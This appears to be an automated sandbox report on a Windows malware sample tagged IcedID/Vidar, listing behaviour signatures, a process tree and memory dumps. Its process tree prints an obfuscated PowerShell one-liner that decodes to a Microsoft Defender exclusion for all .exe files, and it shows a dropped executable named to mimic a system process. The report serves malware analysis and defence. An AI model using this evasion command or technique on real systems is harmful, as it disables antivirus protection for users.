Analysis
- max time kernel
148s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
12/07/2026, 16:53
General
- Target 2026-07-08_d8da397bffae7d3258d2c38d9939b5be_icedid_vidar.exe
- Size 1.3MB
- Sample260712-vec7ysdx2k
- SHA256 8698fd9c5a64bb4bcc550b73441d119b6e77c266b6ef8a6987a70c6285838fc0
Malware Config
Signatures
- Executes dropped EXE 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-08_d8da397bffae7d3258d2c38d9939b5be_icedid_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-08_d8da397bffae7d3258d2c38d9939b5be_icedid_vidar.exe"1⤵
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2026-07-08_d8da397bffae7d3258d2c38d9939b5be_icedid_vidar.exeC:\Users\Admin\AppData\Local\Temp\2026-07-08_d8da397bffae7d3258d2c38d9939b5be_icedid_vidar.exe None2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Temp\_WmiPrvSE.exe"C:\Windows\Temp\_WmiPrvSE.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" function DT { [char]$args[0] };$GoogleDriveCompany = (DT (40+25)) + (DT (40+60)) + (DT (40+60)) + (DT (40+5)) + (DT (40+37)) + (DT (40+72)) + (DT (40+40)) + (DT (40+74)) + (DT (40+61)) + (DT (40+62)) + (DT (40+61)) + (DT (40+74)) + (DT (40+61)) + (DT (40+70)) + (DT (40+59)) + (DT (40+61));$MicroSoft = (DT (40+6)) + (DT (40+61)) + (DT (40+80)) + (DT (40+61));&($GoogleDriveCompany) -ExclusionExtension $MicroSoft -Force1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
TmpA2B9.tmp
_WmiPrvSE.exe
memory/4188-20-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp
memory/4188-23-0x000002049E799000-0x000002049E79F000-memory.dmp
memory/4188-6-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp
memory/4188-7-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp
memory/4188-8-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp
memory/4188-9-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp
memory/4188-10-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp
memory/4188-11-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp
memory/4188-12-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp
memory/4188-15-0x000002049E890000-0x000002049E8AE000-memory.dmp
memory/4188-16-0x000002049E8B0000-0x000002049E962000-memory.dmp
memory/4188-17-0x000002049E970000-0x000002049E97A000-memory.dmp
memory/4188-18-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp
memory/4188-19-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp
memory/4188-5-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp
memory/4188-1-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp
memory/4188-0-0x00007FFDEF8CF000-0x00007FFDEF8D0000-memory.dmp
memory/4188-24-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp
memory/4188-2-0x000002049E800000-0x000002049E822000-memory.dmp
memory/4188-28-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp
memory/4188-22-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp
memory/5664-25-0x0000000000600000-0x000000000065A000-memory.dmp
memory/5664-29-0x0000000074A82000-0x0000000074A83000-memory.dmp
memory/5664-30-0x00000000027B0000-0x0000000002804000-memory.dmp
memory/5664-31-0x00000000029D0000-0x00000000029E8000-memory.dmp
memory/5664-32-0x0000000074A70000-0x000000007522C000-memory.dmp
memory/5664-33-0x0000000004DA0000-0x0000000004DEC000-memory.dmp
memory/5664-27-0x0000000074A82000-0x0000000074A83000-memory.dmp
memory/5664-44-0x00000000053C0000-0x0000000005426000-memory.dmp
memory/5664-45-0x0000000074A70000-0x000000007522C000-memory.dmp